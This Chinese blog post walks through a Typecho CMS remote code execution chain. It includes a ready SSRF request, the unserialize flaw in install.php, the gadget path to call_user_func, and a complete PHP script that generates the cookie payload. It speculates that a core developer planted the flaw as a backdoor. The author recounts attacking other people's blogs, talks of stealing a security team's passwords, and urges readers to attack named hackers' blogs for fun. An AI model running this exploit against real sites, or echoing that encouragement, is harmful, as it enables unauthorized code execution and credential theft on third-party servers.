盒子
盒子
文章目录
  1. 引子
  2. install.php
  3. rop
  4. 解决一些小问题
  5. backdoor?
  6. 乐呵一下

typecho 后门事件始末

仓促成文,睡觉。

引子

前段时间在日xxxx,无奈实在日不穿,但是发现xxxx的博客系统使用的是typecho,我十一在家陪妹子实在是没事干,就抽了个晚上审了一下typecho,首先发现的一个洞是一个ssrf,由于我手贱打了一下xxxx一位老铁的博客,被他waf抓下来了(当然,之前暗示过他内网服务的问题,可能临时写的针对性waf),然后今天就被放出来了。。。。这个不重要,先放payload出来,没啥好分析的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /index.php/action/xmlrpc HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178

<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://xxxxxx/</string></value></param>
</params></methodCall>

然后昨天的时候,tomato师父说,我们直接去日xxxx安全团队的人博客吧,然后在上面抓他们密码。我觉得这个也不是不能搞,并且我十一审代码的时候,发现了代码中有处极其奇怪的地方,但是由于不能在xxxx的博客上直接利用就没深入,但是看了xxxx安全团队的人的博客,发现这个问题可能可以利用,就深入看了眼,没想到追查出一个他们核心开发者在其中放置的后门。

install.php

install.php在安装后不会默认删除,我们查看其中的逻辑分支会看到这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
......
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
......
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

这段代码只要你设置了正确的referer,然后加上一个finish参数就可以进入到这个分支中,他会直接反序列化cookie中传入的一个值,然后进行一些db初始化操作,但是这个初始化操作实际上没有任何一丁点作用,所以这里有这段代码本身就非常奇怪,但是当时分析的时候我没想这么多,既然这里可以直接反序列化我们的输入,我们就看下能否制造一个rop链出来,达到一些有危害的操作。

rop

我们首先进入Typecho_Db的构造函数看一眼他会对$config做什么处理:

1
2
3
4
5
6
7
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

我们发现第一个参数经过了拼接,所以会自动调用 __tostring这个魔术方法,然后我们找一些含有__tostring的类,这里我们找到class Typecho_Feed
他的__tostring方法有些复杂,但是不难从中看出他在358行,执行了这样一段代码:

1
<name>' . $item['author']->screenName . '</name>

其中$item是我们可以通过对象注入直接控制的。
那么从这行代码出发,我们进而就可以调用__get这个魔术方法,继续寻找含有__get的gadget,我们找到了class Typecho_Request
他的__get方法会调用自身的 get 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

get方法在为$value赋值并检查其类型后,会调用自身_applyFilter方法,然后继续往深处跟:

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

_applyFilter方法中我们最终发现了一个可以代码执行的地方:
call_user_func($filter, $value);
此处的两个参数都是我们可以控制的,这里我们的rop已经初步构造完成。

解决一些小问题

在 install.php 的开头部分调用了程序调用了 ob_start(); ,而我们的对象注入操作必定会触发代码中定义的 exception:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function exceptionHandle(Exception $exception)
{
@ob_end_clean();

if (defined('__TYPECHO_DEBUG__')) {
echo '<h1>' . $exception->getMessage() . '</h1>';
echo nl2br($exception->__toString());
} else {
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}

exit;
}

这样他会在处理异常时调用ob_end_clean,这样我们就算执行了代码,也无法拿到输出。
注意,最后调用call_user_func的时候,是一个循环,我们在一次运行中去调用多个函数,甚至实例的某个方法,因为他没有限制传入的$filter是不是一个数组。这样我们只要找到一个类方法,其中含有exit,那么就可以直接让程序退出并输出缓冲区中的内容。这样的类很多,这里我选择了Typecho_Responseredirect方法,这样经过4个gadget,我们的exp基本可以通杀了(其实还可以再加两个绕gadget过更多限制,这里留给大家研究)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
class Typecho_Response{}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName']=-1;
$this->_filter[0]='phpinfo';
$x = new Typecho_Response;
$this->_filter[1]=array($x,'redirect' );
}
}
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';

/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';

/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';

/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';

/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';

/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct(){
$this->_type=self::RSS2;
$item['link']='1';
$item['title']='2';
$item['date']=1507720298;
$item['author']= new Typecho_Request();
$this->_items[0]=$item;
}
}

$x=new Typecho_Feed();

$a=array(
'host' => 'localhost',
'user' => 'root',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter'=>$x,
'prefix'=>'typecho_'
);
echo serialize($a);
echo "\n";
echo urlencode(base64_encode(serialize($a)));
?>

backdoor?

写完exp后,我回过头去查看最开始的漏洞入口,我发现这段代码其实放在这里没有任何合理性,尽管他的代码风格和下面的很像,但是他在这里起不到任何作用,然后ph师父说,typecho有github维护,然后我们就去查了他的commit记录:

commit

commit 23b87aeb ,祁宁在 2014-04-08 22:43:32 点提交,这里我俩就开始疑惑,既然14年就有这段代码,那为啥ph师父的旧版本上没有,新版本上反而有了呢,我们看了下这个commit的详情:

commit

我们发现 祁宁 其实就是 joyqi,而joyqi是typecho的核心开发者,他把这段代码在 2014-04-08 写好后直接提交在了master中,查看 v0.9-14.5.25 的releases,其中已经包含了这段代码,也就是说,这段代码形似后门的代码由核心开发者提交后,存在了三年半的时间,都没有任何人发现。。。。

那么究竟是谁添加的这段鸡儿用没有,但是谁都看不出来的代码呢。。。。。可能是14年的时候 joyqi 对账号被人黑掉了吧,也或许,这真的是开发者的一时手滑。细思恐极。

乐呵一下

圈内有几位知名的黑客大佬的博客是用typecho的,打了一下,还是可以搞的,大家也可以打一打乐呵一下。

大哥抽烟.jpg